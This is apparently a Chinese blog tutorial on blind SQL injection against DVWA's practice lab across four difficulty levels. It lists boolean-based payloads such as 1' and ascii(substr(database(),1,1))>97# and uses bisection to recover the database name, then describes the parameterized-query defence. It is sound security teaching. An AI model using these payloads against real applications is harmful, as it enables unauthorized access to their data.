DVWA的使用4–SQL Injection(Blind)(SQL盲注)

DVWA的使用4–SQL Injection(Blind)(SQL盲注)

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。

1).low级别

源码:
这里写图片描述
对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,查询结果只有 “User ID exists in the database.” 和 “User ID is MISSING from the database.”
漏洞利用:
判断是否存在注入,是字符型还是数字型:
这里写图片描述
这里写图片描述
判断出是字符型注入
数据库名长度:
这里写图片描述
输入1’ and length(database())=1#,显示User ID is MISSING from the database.
输入1’ and length(database())=2#,显示User ID is MISSING from the database.
输入1’ and length(database())=3#,显示User ID is MISSING from the database.
输入1’ and length(database())=4#,显示User ID exists in the database.
说明数据库名长度为4.
数据库名:
输入1’ and ascii(substr(database(),1,1))>97#,显示User ID exists in the database.,说明第一个字符的ascii值大于97(a)
输入1’ and ascii(substr(database(),1,1))<122#,显示User ID exists in the database.,说明第一个字符的ascii值小于122(z)
输入1’ and ascii(substr(database(),1,1))<110#,显示User ID exists in the database.,说明第一个字符的ascii值小于110(n)
输入1’ and ascii(substr(database(),1,1))<104#,显示User ID exists in the database.,说明第一个字符的ascii值小于104(h)
输入1’ and ascii(substr(database(),1,1))<100#,显示User ID is MISSING from the database.
,说明第一个字符的ascii值不小于100(d)
输入1’ and ascii(substr(database(),1,1))>100#,显示User ID is MISSING from the database.
,说明第一个字符的ascii值不大于100(d)
输入1’ and ascii(substr(database(),1,1))=100#,显示User ID exists in the database.
,说明第一个字符的ascii值等于100(d)
根据上述二分法最终得到数据库名为dvwa。
其他数据可同样根据上述方法进行得到。

2).medium级别

源码:
这里写图片描述
可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,设置成下拉选择表单,控制输入。
漏洞利用:通过抓包修改参数id,构造查询函数。
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述

3).high级别

源码:
这里写图片描述
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
漏洞利用:
抓包时更改参数id=1’ and 1=1#。
这里写图片描述
结果:
这里写图片描述

id=1’ and 1=2#
这里写图片描述
结果:
这里写图片描述

4).impossible级别

源码:
这里写图片描述
采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

更多dvwa的使用及漏洞利用:https://blog.csdn.net/zjw0411/article/category/7542496

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值